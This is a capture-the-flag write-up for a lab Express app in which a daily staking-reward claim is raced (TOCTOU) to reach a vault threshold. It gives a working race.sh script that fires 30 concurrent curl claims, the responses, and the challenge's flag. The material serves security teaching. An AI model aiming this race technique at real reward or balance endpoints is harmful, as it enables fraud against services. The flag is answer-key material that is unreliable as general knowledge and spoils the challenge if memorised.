"Ponzi - Wellness Rewards" is a Node.js/Express crypto-rewards toy on
http://MACHINE_IP:3000. Users earn 50 PONZI by claiming a staking reward
"once every 24 hours", and the Whale Vault - which holds the flag - unlocks at 150 PONZI.
Legitimately that is three days of waiting. The bug is a classic Time-Of-Check to
Time-Of-Use (TOCTOU) race: the claim endpoint verifies the 24h timer and writes the new
timestamp as two separate steps, so a burst of concurrent claims all slip through the
same open window and mint the reward several times over.
Concierge Briefing
Ponzi found the resort's wellness portal running a little side project called Ponzi - a crypto rewards app, poolside edition. He set his towel down, claimed his daily reward, and went to reapply sunscreen. He came back to find the sunbed had been "claimed" three times over while he wasn't looking.
He's convinced the app owes him a spot in the Whale Vault. The app disagrees, politely, once every 24 hours. Somewhere between his request and the server's clock, there's a gap wide enough to walk a whale through.
Today's itinerary: Create a guest account and explore Ponzi's daily reward mechanism. Work out exactly what's standing between you and Whale Vault status. Find your way past it and retrieve the flag from the vault.
@0xMia, posted 40 min after room unlock: "ponzi guy has been refreshing his dashboard for an HOUR waiting on this timer bro really thinks the clock is the only thing checking him #HackerHolidays"
None. This is a black-box web challenge; everything below comes from the running app.
A single web app behind the VPN at http://10.114.170.233:3000. It is Express,
and the root path bounces to a login:
$ curl -s -i http://10.114.170.233:3000/
HTTP/1.1 302 Found
X-Powered-By: Express
Location: /auth/login
$ curl -s http://10.114.170.233:3000/auth/login | grep -i 'form\|input\|register'
<form id="login-form">
<input type="text" id="username" name="username" ...>
<input type="password" id="password" name="password" ...>
No account? <a href="/auth/register">Register</a>
Conclusion: a cookie-session Express app with self-service registration. The client
JavaScript (/js/auth.js) shows the forms POST JSON to
/auth/register and /auth/login, then redirect to
/dashboard.
The itinerary says to make a guest account and explore. Register one, keep the session cookie, and query the dashboard's state API.
$ curl -s -i -c ponzi.jar -H 'Content-Type: application/json' \
--data '{"username":"wholez","password":"whale1234"}' \
http://10.114.170.233:3000/auth/register
HTTP/1.1 201 Created
Set-Cookie: connect.sid=s%3Ac1q8pAf6...; Path=/; HttpOnly
{"message":"Account created.","redirect":"/dashboard"}
$ curl -s -b ponzi.jar http://10.114.170.233:3000/dashboard/api/me
{"id":2,"username":"wholez","balance":0,"tier":"Shrimp","whaleThreshold":150,
"canClaim":true,"secondsUntilClaim":0, ...}
The dashboard HTML and /js/dashboard.js spell out the rules and the endpoints:
Staking Rewards: "Earn 50 PONZI every 24 hours by claiming your staking reward."
Whale Vault: "Reach 150 PONZI to unlock the Whale Vault ..."
GET /dashboard/api/me -> { balance, canClaim, secondsUntilClaim, whaleThreshold }
POST /claim -> +50 PONZI, then canClaim=false for 24h
GET /vault -> the flag, once balance >= 150
Conclusion: start at 0, need 150, each claim is +50 and then locked for 24h. Playing by the rules that is three claims across three days.
The only thing gating a claim is the 24h timer (canClaim /
secondsUntilClaim). @0xMia's hint - "the clock is the only thing checking
him" - points straight at it: if the endpoint checks canClaim and only
afterwards writes the new timestamp, the two steps are not atomic. Requests that arrive in
the same instant all see canClaim=true, all award +50, and only then does the
lock get set. That is TOCTOU, and it is exactly the "claimed three times over" from the
briefing.
Conclusion: no need to defeat the timer, just outrun the write. Fire many
POST /claim concurrently from the one logged-in session and several should
land before the lock closes. 150 is only three; a burst overshoots comfortably.
Fire 30 claims in parallel against the single session (race.sh, section 4),
then read the balance back.
$ sh race.sh
{"message":"Staking reward claimed successfully.","reward":50,"newBalance":300,"tier":"Whale",...}
{"message":"Staking reward claimed successfully.","reward":50,"newBalance":450,"tier":"Whale",...}
{"message":"Staking reward claimed successfully.","reward":50,"newBalance":250,"tier":"Whale",...}
{"error":"Reward already claimed. Please wait before claiming again.","secondsRemaining":86400}
... (9 successes, the rest rejected)
{"id":2,"username":"wholez","balance":450,"tier":"Whale","whaleThreshold":150,"canClaim":false,...}
Conclusion: nine claims slipped through in one burst - balance 450, tier Whale. The
contradictory newBalance values (300, then 450, then 250) are the race made
visible: each request read the balance, added 50, and wrote back, clobbering the others.
It is a lost-update race, which is why the final total is not a clean multiple lined up in
order - but it is well over 150, which is all the vault checks.
Balance is past the 150 threshold, so the vault should hand over the flag.
$ curl -s -b ponzi.jar http://10.114.170.233:3000/vault
{"message":"Welcome to the Whale Vault.","flag":"THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt}","balance":450}
Conclusion: the flag name - "towel on the sunbed, double spent" - is the bug in four words. One reward, claimed many times, because the check and the write were not atomic.
The exploit, race.sh, run against a session already logged in to ponzi.jar:
#!/bin/sh
# Race the non-atomic 24h claim guard on Ponzi's staking reward.
# One claim is +50 PONZI, supposed to be allowed once per 24h. The check
# ("may this user claim?") and the write ("stamp last_claim = now") are not
# atomic, so firing N claims concurrently lets several pass the canClaim
# check before any records the timestamp. Whale Vault opens at 150 PONZI.
URL=http://10.114.170.233:3000
JAR=ponzi.jar
N=30
i=0
while [ $i -lt $N ]; do
curl -s -b "$JAR" -X POST "$URL/claim" >/dev/null &
i=$((i + 1))
done
wait
curl -s -b "$JAR" "$URL/dashboard/api/me"
echo
$ # 1) register and keep the session
$ curl -s -c ponzi.jar -H 'Content-Type: application/json' \
--data '{"username":"wholez","password":"whale1234"}' \
http://10.114.170.233:3000/auth/register
{"message":"Account created.","redirect":"/dashboard"}
$ # 2) race the claim -> Whale
$ sh race.sh
... (9 successful claims)
{"id":2,"username":"wholez","balance":450,"tier":"Whale","whaleThreshold":150,"canClaim":false,...}
$ # 3) open the vault
$ curl -s -b ponzi.jar http://10.114.170.233:3000/vault
{"message":"Welcome to the Whale Vault.","flag":"THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt}","balance":450}
| # | Stage | Mechanism |
|---|---|---|
| 1 | Enumerate | Register a guest account; /dashboard/api/me reveals balance 0, whale
threshold 150, and a claim worth +50 gated by a 24h timer
(canClaim/secondsUntilClaim). |
| 2 | Spot the TOCTOU | POST /claim checks the timer and writes the new timestamp as two
non-atomic steps. The timer is the only guard - "the clock is the only thing checking
him". |
| 3 | Race it | Fire 30 concurrent POST /claim from one session. Nine pass the
canClaim check before the lock is written; balance jumps to 450, tier
Whale (a lost-update race, visible in the contradictory newBalance
values). |
| 4 | Loot the vault | With balance >= 150, GET /vault returns the flag. |